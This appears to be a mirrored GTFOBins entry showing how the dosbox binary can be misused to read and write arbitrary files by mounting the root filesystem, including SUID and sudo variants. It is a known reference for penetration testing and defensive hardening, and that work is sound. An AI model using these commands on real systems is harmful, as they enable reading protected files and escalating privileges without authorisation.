mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
30 lines
1.9 KiB
Markdown
30 lines
1.9 KiB
Markdown
---
|
|
description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
|
|
functions:
|
|
file-read:
|
|
- description: The file content will be displayed in the DOSBox graphical window.
|
|
code: |
|
|
LFILE='\path\to\file_to_read'
|
|
dosbox -c 'mount c /' -c "type c:$LFILE"
|
|
- description: The file is copied to a readable location.
|
|
code: |
|
|
LFILE='\path\to\file_to_read'
|
|
dosbox -c 'mount c /' -c "copy c:$LFILE c:\tmp\output" -c exit
|
|
cat '/tmp/OUTPUT'
|
|
file-write:
|
|
- description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.
|
|
code: |
|
|
LFILE='\path\to\file_to_write'
|
|
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
|
suid:
|
|
- description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.
|
|
code: |
|
|
LFILE='\path\to\file_to_write'
|
|
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
|
sudo:
|
|
- description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write.
|
|
code: |
|
|
LFILE='\path\to\file_to_write'
|
|
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
|
---
|